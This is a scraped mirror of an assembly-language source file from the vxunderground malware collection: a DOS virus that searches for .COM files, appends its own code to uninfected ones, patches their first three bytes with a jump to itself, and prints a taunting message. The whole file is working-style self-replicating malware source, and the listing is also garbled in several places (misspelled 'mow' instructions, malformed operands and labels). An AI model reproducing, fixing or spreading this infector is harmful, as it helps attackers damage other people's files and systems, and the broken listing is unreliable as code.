mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 18:06:10 +00:00
227 lines
3.0 KiB
NASM
227 lines
3.0 KiB
NASM
.8086
|
|
page ,132
|
|
cseg segment
|
|
assume cs:cseg,ds:cseg,es:cseg
|
|
org 100h
|
|
start:
|
|
db 0E9h
|
|
dw 15h
|
|
id dw 0FFFFh
|
|
org 110h
|
|
virus:
|
|
push ds
|
|
mov ax,cs
|
|
db 00000101b
|
|
new_ds dw 0FFFFh
|
|
mow ds,ax
|
|
|
|
restore_3_bytes:
|
|
mow al,bytes_3[0]
|
|
mow byte ptr cs:[100h],al
|
|
mow al,bytes_3[1]
|
|
mow byte ptr cs:[101h],al
|
|
mov al,bytes_3[2]
|
|
mow byte ptr cs:[102h],al
|
|
|
|
store_dta:
|
|
mow cx,100h
|
|
mov bx,0
|
|
dta_s:
|
|
mov al,byte ptr cs:[bx]
|
|
mov byte ptr dta[bx],al
|
|
inc bx
|
|
loop dta_s
|
|
|
|
find_first:
|
|
lea dx,fmask
|
|
mov cx,00100000b
|
|
mov ah,4Eh
|
|
int 21h
|
|
jnc store_fname
|
|
jmp err
|
|
find_next:
|
|
mov bx,handle
|
|
mov ah,3Eh
|
|
int 21h
|
|
mov handle,0FFFFh
|
|
mov ah,4Fh
|
|
int 21h
|
|
jnc store_fname
|
|
jmp err
|
|
|
|
store_fname:
|
|
cmp byte ptr cs:[95h],00000001b
|
|
je find_next
|
|
mov bx,0
|
|
next_sym:
|
|
mov al,byte ptr cs:[bx+9Eh]
|
|
mov fname[bx],al
|
|
cmp byte ptr cs:[bx+9Eh],0
|
|
je set_attrib
|
|
inc bx
|
|
cmp bx,13
|
|
jng next_sym
|
|
jmp err
|
|
|
|
set_attrib:
|
|
lea dx,fname
|
|
mov cx,00100000b
|
|
mov ax,4301h
|
|
int 21h
|
|
jnc read_handle
|
|
jmp err
|
|
|
|
read_handle:
|
|
lea dx,fname
|
|
mov ax,3D02h
|
|
int 21h
|
|
jnc read_3_bytes
|
|
jmp err
|
|
|
|
read_3_bytes:
|
|
mov handle,ax
|
|
lea dx,bytes_3
|
|
mov bx_handle
|
|
mov cx_3
|
|
mov ax,3Fh
|
|
int 21h
|
|
jnc read_flen
|
|
jmp err
|
|
|
|
read_flen:
|
|
mov cx,0
|
|
mov dx,0
|
|
mov bx,handle
|
|
mov al,2
|
|
mov ah,42h
|
|
int 21h
|
|
jnc check_id
|
|
jmp err
|
|
|
|
check_id:
|
|
mov flenold,ax
|
|
test ax,00001111b
|
|
jz just
|
|
or ax,00001111b
|
|
inc ax
|
|
|
|
just:
|
|
mov flen,ax
|
|
cmp ax,64500
|
|
jna calc_ds
|
|
jmp find_next
|
|
|
|
calc_ds:
|
|
mov cl,4
|
|
shr ax,cl
|
|
dec ax
|
|
mov byte ptr new_ds[0],al
|
|
mov byte ptr new_ds[1],ah
|
|
mov cx,0
|
|
mov dx,flenold
|
|
dec dx
|
|
mov bx,handle
|
|
mov al,0
|
|
mov ah,42h
|
|
int 21h
|
|
jnc read_id
|
|
jmp err
|
|
|
|
read_id:
|
|
lea dx,bytes_3[3]
|
|
mov bx,handle
|
|
mov cx,1
|
|
mov ah,3Fh
|
|
int 21h
|
|
jnc test_id
|
|
jmp find_next
|
|
test_id:
|
|
cmp bytes_3[3],'$'
|
|
jne not_infected
|
|
jmp find_next
|
|
not_infected:
|
|
mov ax,flen
|
|
sub ax,03h
|
|
mov jmp_l,al
|
|
mov jmp_h,ah
|
|
mov cx,0
|
|
mov dx,flen
|
|
mov bx,handle
|
|
mov ax,4200h
|
|
int 21h
|
|
jc err
|
|
lea dx,virus
|
|
mov cx,virlen
|
|
mov bx,handle
|
|
mov ah,40h
|
|
int 21h
|
|
jc err
|
|
|
|
write_jmp:
|
|
mov cx,0
|
|
mov dx,0
|
|
mov bx,handle
|
|
mov al,0
|
|
mov ah,42h
|
|
int 21h
|
|
jc err
|
|
lea dx,jmpvir
|
|
mov cx,3
|
|
mov bx,handle
|
|
mov ah,40h
|
|
int 21h
|
|
jc err
|
|
|
|
print_msg:
|
|
lea dx,msg
|
|
mov ah,09h
|
|
int 21h
|
|
|
|
err:
|
|
cmp handle,0FFFFh
|
|
je exit
|
|
|
|
close_file:
|
|
mov bx,handle
|
|
mov ah,3Eh
|
|
int 21h
|
|
exit:
|
|
cmp cs:[id],0FFFFh
|
|
je goto_dos
|
|
restore_dta:
|
|
mov cx,100h
|
|
mov bx,0
|
|
dta_r:
|
|
mov al,byte ptr dta[bx]
|
|
mov byte ptr cs:[bx],al
|
|
inc bx
|
|
loop dta_r
|
|
|
|
goto_start:
|
|
mov ax,cs
|
|
mov ds:[start_s],ax
|
|
pop ds
|
|
db DEAh
|
|
dw 0100h
|
|
start_s dw (?)
|
|
|
|
goto_dos
|
|
mov ax,4C00h
|
|
int 21h
|
|
|
|
fmask db '*.com',0h
|
|
fname db 12 dup (?),0h
|
|
flenold dw (?)
|
|
flen dw (?)
|
|
handle dw 0FFFFh
|
|
jmpvir db 0E9h
|
|
jmp_l db (?)
|
|
jmp_n db (?)
|
|
bytes_3 db 3 dup (?)
|
|
db (?)
|
|
dta db 101h dup (?)
|
|
msg db 0Ah,0Dh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'
|
|
virlen equ $-virus
|
|
|
|
cseg ends
|
|
end start |